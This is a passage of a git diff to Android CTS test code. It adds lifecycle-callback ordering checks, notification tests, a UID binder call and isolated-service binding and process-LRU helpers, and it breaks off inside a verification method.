+++ b/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java
@@ -18,6 +18,7 @@
 
 import android.annotation.Nullable;
 import android.app.Activity;
+import android.app.Application;
 import android.os.Bundle;
 import android.util.Pair;
 
@@ -53,11 +54,115 @@
 
     public enum Source {
         ACTIVITY,
-        ACTIVITY_CALLBACK
+        ACTIVITY_CALLBACK,
+        APPLICATION_ACTIVITY_CALLBACK
     }
 
+    private final Application.ActivityLifecycleCallbacks mActivityCallbacks;
+
     private ArrayList<Pair<Source, Event>> mCollectedEvents = new ArrayList<>();
 
+    public ActivityCallbacksTestActivity() {
+        mActivityCallbacks = new Application.ActivityLifecycleCallbacks() {
+
+            @Override
+            public void onActivityPreCreated(Activity activity, Bundle savedInstanceState) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_CREATE);
+            }
+
+            @Override
+            public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_CREATE);
+            }
+
+            @Override
+            public void onActivityPostCreated(Activity activity, Bundle savedInstanceState) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_CREATE);
+            }
+
+            @Override
+            public void onActivityPreStarted(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_START);
+            }
+
+            @Override
+            public void onActivityStarted(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_START);
+            }
+
+            @Override
+            public void onActivityPostStarted(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_START);
+            }
+
+            @Override
+            public void onActivityPreResumed(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_RESUME);
+            }
+
+            @Override
+            public void onActivityResumed(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_RESUME);
+            }
+
+            @Override
+            public void onActivityPostResumed(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_RESUME);
+            }
+
+            @Override
+            public void onActivityPrePaused(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_PAUSE);
+            }
+
+            @Override
+            public void onActivityPaused(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PAUSE);
+            }
+
+            @Override
+            public void onActivityPostPaused(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_PAUSE);
+            }
+
+            @Override
+            public void onActivityPreStopped(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_STOP);
+            }
+
+            @Override
+            public void onActivityStopped(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_STOP);
+            }
+
+            @Override
+            public void onActivityPostStopped(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_STOP);
+            }
+
+            @Override
+            public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+
+            }
+
+            @Override
+            public void onActivityPreDestroyed(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_DESTROY);
+            }
+
+            @Override
+            public void onActivityDestroyed(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_DESTROY);
+            }
+
+            @Override
+            public void onActivityPostDestroyed(Activity activity) {
+                collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_DESTROY);
+            }
+        };
+        registerActivityLifecycleCallbacks(mActivityCallbacks);
+    }
+
     public void collectEvent(Source source, Event event) {
         mCollectedEvents.add(new Pair<>(source, event));
     }
diff --git a/tests/app/app/src/android/app/stubs/ActivityTestsBase.java b/tests/app/app/src/android/app/stubs/ActivityTestsBase.java
index 12463b4..abdd91a 100644
--- a/tests/app/app/src/android/app/stubs/ActivityTestsBase.java
+++ b/tests/app/app/src/android/app/stubs/ActivityTestsBase.java
@@ -38,6 +38,7 @@
     private boolean mFinished;
     private int mResultCode = 0;
     private Intent mData;
+    private Activity mActivity;
     private RuntimeException mResultStack = null;
 
     @Override
@@ -84,8 +85,12 @@
         }
     }
 
+    public void activityRunning(Activity activity) {
+        finishWithActivity(activity);
+    }
+
     public void activityFinished(int resultCode, Intent data, RuntimeException where) {
-        finishWithResult(resultCode, data, where);
+        finishWithResult(resultCode, data, null, where);
     }
 
     public Intent editIntent() {
@@ -110,16 +115,25 @@
         finishWithResult(Activity.RESULT_CANCELED, new Intent().setAction(error));
     }
 
+    public void finishWithActivity(Activity activity) {
+        final RuntimeException where = new RuntimeException("Original error was here");
+        where.fillInStackTrace();
+        finishWithResult(Activity.RESULT_OK, null, activity, where);
+
+    }
+
     public void finishWithResult(int resultCode, Intent data) {
         final RuntimeException where = new RuntimeException("Original error was here");
         where.fillInStackTrace();
-        finishWithResult(resultCode, data, where);
+        finishWithResult(resultCode, data, null, where);
     }
 
-    public void finishWithResult(int resultCode, Intent data, RuntimeException where) {
+    public void finishWithResult(int resultCode, Intent data, Activity activity,
+            RuntimeException where) {
         synchronized (this) {
             mResultCode = resultCode;
             mData = data;
+            mActivity = activity;
             mResultStack = where;
             mFinished = true;
             notifyAll();
@@ -204,6 +218,10 @@
         return mResultStack;
     }
 
+    public Activity getRunningActivity() {
+        return mActivity;
+    }
+
     public void onTimeout() {
         final String msg = mExpecting == null ? "Timeout" : "Timeout while expecting " + mExpecting;
         finishWithResult(Activity.RESULT_CANCELED, new Intent().setAction(msg));
diff --git a/tests/app/app/src/android/app/stubs/LaunchpadActivity.java b/tests/app/app/src/android/app/stubs/LaunchpadActivity.java
index 16b1363..33650e9 100644
--- a/tests/app/app/src/android/app/stubs/LaunchpadActivity.java
+++ b/tests/app/app/src/android/app/stubs/LaunchpadActivity.java
@@ -67,15 +67,17 @@
 
 public class LaunchpadActivity extends Activity {
     public interface CallingTest extends PerformanceTestCase.Intermediates {
-        public void startTiming(boolean realTime);
+        void startTiming(boolean realTime);
 
-        public void addIntermediate(String name);
+        void addIntermediate(String name);
 
-        public void addIntermediate(String name, long timeInNS);
+        void addIntermediate(String name, long timeInNS);
 
-        public void finishTiming(boolean realTime);
+        void finishTiming(boolean realTime);
 
-        public void activityFinished(int resultCode, Intent data, RuntimeException where);
+        void activityRunning(Activity activity);
+
+        void activityFinished(int resultCode, Intent data, RuntimeException where);
     }
 
     // Also used as the Binder interface descriptor string in these tests
@@ -93,6 +95,8 @@
     public static final String LIFECYCLE_SCREEN = "android.app.cts.activity.LIFECYCLE_SCREEN";
     public static final String LIFECYCLE_DIALOG = "android.app.cts.activity.LIFECYCLE_DIALOG";
 
+    public static final String ACTIVITY_PREPARE = "android.app.cts.activity.LIFECYCLE_DIALOG";
+
     public static final String BROADCAST_REGISTERED = "android.app.cts.activity.BROADCAST_REGISTERED";
     public static final String BROADCAST_LOCAL = "android.app.cts.activity.BROADCAST_LOCAL";
     public static final String BROADCAST_REMOTE = "android.app.cts.activity.BROADCAST_REMOTE";
@@ -283,7 +287,8 @@
                 intent.setFlags(0);
                 intent.setComponent((ComponentName) intent.getParcelableExtra("component"));
                 startActivityForResult(intent, LAUNCHED_RESULT);
-
+            } else if (ACTIVITY_PREPARE.equals(action)) {
+                sCallingTest.activityRunning(this);
             } else if (FORWARD_RESULT.equals(action)) {
                 final Intent intent = getIntent();
                 intent.setFlags(0);
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index a323fec..6120a77 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -45,6 +45,7 @@
     public static final int GET_VALUE_CODE = 6;
     public static final int SET_VALUE_CODE = 7;
     public static final int GET_PID_CODE = 8;
+    public static final int GET_UID_CODE = 9;
 
     public static Context sServiceContext = null;
 
@@ -73,6 +74,10 @@
                     data.enforceInterface(SERVICE_LOCAL);
                     reply.writeInt(Process.myPid());
                     return true;
+                case GET_UID_CODE:
+                    data.enforceInterface(SERVICE_LOCAL);
+                    reply.writeInt(Process.myUid());
+                    return true;
                 default:
                     return super.onTransact(code, data, reply, flags);
             }
diff --git a/tests/app/src/android/app/cts/ActivityCallbacksTest.java b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
index f80661a..ff9c401 100644
--- a/tests/app/src/android/app/cts/ActivityCallbacksTest.java
+++ b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
@@ -92,92 +92,92 @@
             @Override
             public void onActivityPreCreated(Activity activity, Bundle savedInstanceState) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_CREATE);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_CREATE);
             }
 
             @Override
             public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_CREATE);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_CREATE);
             }
 
             @Override
             public void onActivityPostCreated(Activity activity, Bundle savedInstanceState) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_CREATE);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_CREATE);
             }
 
             @Override
             public void onActivityPreStarted(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_START);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_START);
             }
 
             @Override
             public void onActivityStarted(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_START);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_START);
             }
 
             @Override
             public void onActivityPostStarted(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_START);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_START);
             }
 
             @Override
             public void onActivityPreResumed(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_RESUME);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_RESUME);
             }
 
             @Override
             public void onActivityResumed(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_RESUME);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_RESUME);
             }
 
             @Override
             public void onActivityPostResumed(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_RESUME);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_RESUME);
                 a.finish();
             }
 
             @Override
             public void onActivityPrePaused(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_PAUSE);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_PAUSE);
             }
 
             @Override
             public void onActivityPaused(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PAUSE);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PAUSE);
             }
 
             @Override
             public void onActivityPostPaused(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_PAUSE);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_PAUSE);
             }
 
             @Override
             public void onActivityPreStopped(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_STOP);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_STOP);
             }
 
             @Override
             public void onActivityStopped(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_STOP);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_STOP);
             }
 
             @Override
             public void onActivityPostStopped(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_STOP);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_STOP);
             }
 
             @Override
@@ -188,19 +188,19 @@
             @Override
             public void onActivityPreDestroyed(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_DESTROY);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_DESTROY);
             }
 
             @Override
             public void onActivityDestroyed(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_DESTROY);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_DESTROY);
             }
 
             @Override
             public void onActivityPostDestroyed(Activity activity) {
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
-                a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_DESTROY);
+                a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_DESTROY);
                 actualEvents.addAll(a.getCollectedEvents());
                 latch.countDown();
             }
@@ -227,10 +227,20 @@
 
     private void addNestedEvents(ArrayList<Pair<Source, Event>> expectedEvents,
             Event preEvent, Event event, Event postEvent) {
+        expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, preEvent));
         expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, preEvent));
         expectedEvents.add(new Pair<>(Source.ACTIVITY, preEvent));
-        expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, event));
+        if (event == ON_CREATE || event == ON_START || event == ON_RESUME) {
+            // Application goes first on upward lifecycle events
+            expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, event));
+            expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, event));
+        } else {
+            // Application goes last on downward lifecycle events
+            expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, event));
+            expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, event));
+        }
         expectedEvents.add(new Pair<>(Source.ACTIVITY, postEvent));
         expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, postEvent));
+        expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, postEvent));
     }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 5d18133..97f24bc 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -34,8 +34,8 @@
 import android.app.NotificationManager;
 import android.app.PendingIntent;
 import android.app.UiAutomation;
-import android.app.stubs.TestNotificationListener;
 import android.app.stubs.R;
+import android.app.stubs.TestNotificationListener;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -978,6 +978,79 @@
                 InstrumentationRegistry.getInstrumentation(), false);
     }
 
+    public void testPostFullScreenIntent_permission() {
+        int id = 6000;
+
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setWhen(System.currentTimeMillis())
+                        .setFullScreenIntent(getPendingIntent(), true)
+                        .setContentText("This is #FSI notification")
+                        .setContentIntent(getPendingIntent())
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        StatusBarNotification n = findPostedNotification(id);
+        assertNotNull(n);
+        assertEquals(notification.fullScreenIntent, n.getNotification().fullScreenIntent);
+    }
+
+    private StatusBarNotification findPostedNotification(int id) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 300ms before giving up
+        StatusBarNotification n = null;
+        for (int tries = 3; tries-- > 0; ) {
+            final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+            for (StatusBarNotification sbn : sbns) {
+                Log.d(TAG, "Found " + sbn.getKey());
+                if (sbn.getId() == id) {
+                    n = sbn;
+                    break;
+                }
+            }
+            if (n != null) break;
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return n;
+    }
+
+    public void testNotificationPolicyVisualEffectsEqual() {
+        NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_SCREEN_ON);
+        NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_PEEK);
+        assertTrue(policy.equals(policy2));
+        assertTrue(policy2.equals(policy));
+
+        policy = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_SCREEN_ON);
+        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+                0);
+        assertFalse(policy.equals(policy2));
+        assertFalse(policy2.equals(policy));
+
+        policy = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_SCREEN_OFF);
+        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
+                        | SUPPRESSED_EFFECT_LIGHTS);
+        assertTrue(policy.equals(policy2));
+        assertTrue(policy2.equals(policy));
+
+        policy = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_SCREEN_OFF);
+        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+                SUPPRESSED_EFFECT_LIGHTS);
+        assertFalse(policy.equals(policy2));
+        assertFalse(policy2.equals(policy));
+    }
+
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
                 getContext(), 0, new Intent(getContext(), this.getClass()), 0);
@@ -1191,4 +1264,8 @@
             uiAutomation.destroy();
         }
     }
+
+    private Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 57c2c2a..9c4a0ff 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -495,6 +495,32 @@
         assertEquals(Notification.Action.SEMANTIC_ACTION_REPLY, action.getSemanticAction());
     }
 
+    public void testAction_builder_contextualAction_nullIcon() {
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        Notification.Action.Builder builder =
+                new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
+                .setSemanticAction(Notification.Action.SEMANTIC_ACTION_CONTEXTUAL_SUGGESTION);
+        try {
+            builder.build();
+            fail("Creating a semantic Action with a null icon should cause a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    public void testAction_builder_contextualAction_nullIntent() {
+        Notification.Action.Builder builder =
+                new Notification.Action.Builder(0 /* icon */, "title", null /* intent */)
+                .setSemanticAction(Notification.Action.SEMANTIC_ACTION_CONTEXTUAL_SUGGESTION);
+        try {
+            builder.build();
+            fail("Creating a semantic Action with a null PendingIntent should cause a "
+                    + "NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
     public void testAction_parcel() {
         Notification.Action action = writeAndReadParcelable(
                 makeNotificationAction(builder -> {
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
index b02b93f..c3afc8a 100644
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ b/tests/app/src/android/app/cts/PipActivityTest.java
@@ -73,7 +73,6 @@
             assertTrue(mActivity.getLastReportedMultiWindowMode());
             assertTrue(mActivity.getLastReporterPictureInPictureMode());
         } else {
-            mActivity.enterPictureInPictureMode();
             assertTrue(!mActivity.enterPictureInPictureMode(
                     new PictureInPictureParams.Builder().build()));
 
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index f11fcee..3f32a86 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -16,6 +16,7 @@
 
 package android.app.cts;
 
+import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
@@ -23,6 +24,7 @@
 import android.app.PendingIntent;
 import android.app.stubs.ActivityTestsBase;
 import android.app.stubs.IsolatedService;
+import android.app.stubs.LaunchpadActivity;
 import android.app.stubs.LocalDeniedService;
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
@@ -32,21 +34,32 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.os.ParcelFileDescriptor;
 import android.support.test.InstrumentationRegistry;
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
+import android.os.Process;
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.service.notification.StatusBarNotification;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
 import android.app.stubs.R;
+import android.util.SparseArray;
 
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.server.am.nano.ActivityManagerServiceDumpProcessesProto;
+import com.android.server.am.nano.ProcessRecordProto;
 
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
 import java.util.List;
 
 public class ServiceTest extends ActivityTestsBase {
@@ -192,10 +205,13 @@
         }
     }
 
-    private class IsolatedConnection implements ServiceConnection {
+    final class IsolatedConnection implements ServiceConnection {
         private IBinder mService;
+        private int mUid;
+        private int mPid;
 
         public IsolatedConnection() {
+            mUid = mPid = -1;
         }
 
         public void waitForService(int timeoutMs) {
@@ -223,6 +239,14 @@
             }
         }
 
+        public int getUid() {
+            return mUid;
+        }
+
+        public int getPid() {
+            return mPid;
+        }
+
         public void setValue(int value) {
             Parcel data = Parcel.obtain();
             data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
@@ -250,7 +274,7 @@
             return value;
         }
 
-        public int getPid() {
+        public int getPidIpc() {
             Parcel data = Parcel.obtain();
             Parcel reply = Parcel.obtain();
             data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
@@ -265,10 +289,27 @@
             return value;
         }
 
+        public int getUidIpc() {
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+            try {
+                mService.transact(LocalService.GET_UID_CODE, data, reply, 0);
+            } catch (RemoteException e) {
+                finishBad("DeadObjectException when sending reporting object");
+            }
+            int value = reply.readInt();
+            reply.recycle();
+            data.recycle();
+            return value;
+        }
+
         @Override
         public void onServiceConnected(ComponentName name, IBinder service) {
             synchronized (this) {
                 mService = service;
+                mUid = getUidIpc();
+                mPid = getPidIpc();
                 notifyAll();
             }
         }
@@ -281,6 +322,34 @@
         }
     }
 
+    private byte[] executeShellCommand(String cmd) {
+        try {
+            ParcelFileDescriptor pfd =
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                            .executeShellCommand(cmd);
+            byte[] buf = new byte[512];
+            int bytesRead;
+            FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+            ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+            while ((bytesRead = fis.read(buf)) != -1) {
+                stdout.write(buf, 0, bytesRead);
+            }
+            fis.close();
+            return stdout.toByteArray();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public ActivityManagerServiceDumpProcessesProto getActivityManagerProcesses() {
+        byte[] dump = executeShellCommand("dumpsys activity --proto processes");
+        try {
+            return ActivityManagerServiceDumpProcessesProto.parseFrom(dump);
+        } catch (InvalidProtocolBufferNanoException e) {
+            throw new RuntimeException("Failed parsing proto", e);
+        }
+    }
+
     private void startExpectResult(Intent service) {
         startExpectResult(service, new Bundle());
     }
@@ -1056,4 +1125,371 @@
             }
         }
     }
+
+    static final int BINDING_WEAK = 0;
+    static final int BINDING_STRONG = 1;
+    static final int BINDING_ANY = -1;
+
+    final class IsolatedConnectionInfo {
+        final int mStrong;
+        final String mInstanceName;
+        final String mLabel;
+        int mGroup;
+        int mImportance;
+        IsolatedConnection mConnection;
+
+        IsolatedConnectionInfo(int group, int importance, int strong) {
+            mGroup = group;
+            mImportance = importance;
+            mStrong = strong;
+            mInstanceName = group + "_" + importance;
+            StringBuilder b = new StringBuilder(mInstanceName);
+            b.append('_');
+            if (strong == BINDING_WEAK) {
+                b.append('W');
+            } else if (strong == BINDING_STRONG) {
+                b.append('S');
+            } else {
+                b.append(strong);
+            }
+            mLabel = b.toString();
+        }
+
+        void setGroup(int group) {
+            mGroup = group;
+        }
+
+        void setImportance(int importance) {
+            mImportance = importance;
+        }
+
+        boolean match(int group, int strong) {
+            return (group < 0 || mGroup == group)
+                    && (strong == BINDING_ANY || mStrong == strong);
+        }
+
+        boolean bind(Context context) {
+            if (mConnection != null) {
+                return true;
+            }
+            Log.i("XXXXXXX", "Binding " + mLabel + ": conn=" + mConnection
+                    + " context=" + context);
+            mConnection = new IsolatedConnection();
+            boolean result = context.bindIsolatedService(
+                    mIsolatedService, mConnection,
+                    Context.BIND_AUTO_CREATE | Context.BIND_DEBUG_UNBIND
+                            | (mStrong == BINDING_STRONG ? 0 : Context.BIND_ALLOW_OOM_MANAGEMENT),
+                    mInstanceName);
+            if (!result) {
+                mConnection = null;
+            }
+            return result;
+        }
+
+        IsolatedConnection getConnection() {
+            return mConnection;
+        }
+
+        void unbind(Context context) {
+            if (mConnection != null) {
+                Log.i("XXXXXXX", "Unbinding " + mLabel + ": conn=" + mConnection
+                        + " context=" + context);
+                context.unbindService(mConnection);
+                mConnection = null;
+            }
+        }
+    }
+
+    final class LruOrderItem {
+        static final int FLAG_SKIP_UNKNOWN = 1<<0;
+
+        final IsolatedConnectionInfo mInfo;
+        final int mUid;
+        final int mFlags;
+
+        LruOrderItem(IsolatedConnectionInfo info, int flags) {
+            mInfo = info;
+            mUid = -1;
+            mFlags = flags;
+        }
+
+        LruOrderItem(int uid, int flags) {
+            mInfo = null;
+            mUid = uid;
+            mFlags = flags;
+        }
+
+        IsolatedConnectionInfo getInfo() {
+            return mInfo;
+        }
+
+        int getUid() {
+            return mInfo != null ? mInfo.getConnection().getUid() : mUid;
+        }
+
+        int getFlags() {
+            return mFlags;
+        }
+    }
+
+    private void doBind(Context context, IsolatedConnectionInfo[] connections, int group,
+            int strong) {
+        for (IsolatedConnectionInfo ci : connections) {
+            if (ci.match(group, strong)) {
+                ci.bind(context);
+            }
+        }
+    }
+
+    private void doBind(Context context, IsolatedConnectionInfo[] connections, int[] selected) {
+        for (int i : selected) {
+            boolean result = connections[i].bind(context);
+            if (!result) {
+                fail("Unable to bind connection " + connections[i].mLabel);
+            }
+        }
+    }
+
+    private void doWaitForService(IsolatedConnectionInfo[] connections, int group,
+            int strong) {
+        for (IsolatedConnectionInfo ci : connections) {
+            if (ci.match(group, strong)) {
+                ci.mConnection.waitForService(DELAY);
+            }
+        }
+    }
+
+    private void doUpdateServiceGroup(Context context, IsolatedConnectionInfo[] connections,
+            int group, int strong) {
+        for (IsolatedConnectionInfo ci : connections) {
+            if (ci.match(group, strong)) {
+                context.updateServiceGroup(ci.mConnection, ci.mGroup, ci.mImportance);
+            }
+        }
+    }
+
+    private void doUnbind(Context context, IsolatedConnectionInfo[] connections, int group,
+            int strong) {
+        for (IsolatedConnectionInfo ci : connections) {
+            if (ci.match(group, strong)) {
+                ci.unbind(context);
+            }
+        }
+    }
+
+    private void doUnbind(Context context, IsolatedConnectionInfo[] connections, int[] selected) {
+        for (int i : selected) {
+            connections[i].unbind(context);
+        }
+    }
+
+    List<ProcessRecordProto> getLruProcesses() {
+        ActivityManagerServiceDumpProcessesProto dump = getActivityManagerProcesses();
+        SparseArray<ProcessRecordProto> procs = new SparseArray<>();
+        ProcessRecordProto[] procsList = dump.procs;
+        for (ProcessRecordProto proc : procsList) {
+            procs.put(proc.lruIndex, proc);
+        }
+        ArrayList<ProcessRecordProto> lruProcs = new ArrayList<>();
+        for (int i = 0; i < procs.size(); i++) {
+            lruProcs.add(procs.valueAt(i));
+        }
+        return lruProcs;
+    }
+
+    String printProc(int i, ProcessRecordProto proc) {
+        return "#" + i + ": " + proc.processName
+                + " pid=" + proc.pid + " uid=" + proc.uid
+                + (proc.isolatedAppId != 0 ? " isolated=" + proc.isolatedAppId : "");
+    }
+
+    private void logProc(int i, ProcessRecordProto proc) {
+        Log.i("XXXXXXXX", printProc(i, proc));
+    }
+
+    private void verifyLruOrder(LruOrderItem[] orderItems) {
+        List<ProcessRecordProto> procs = getLruProcesses();
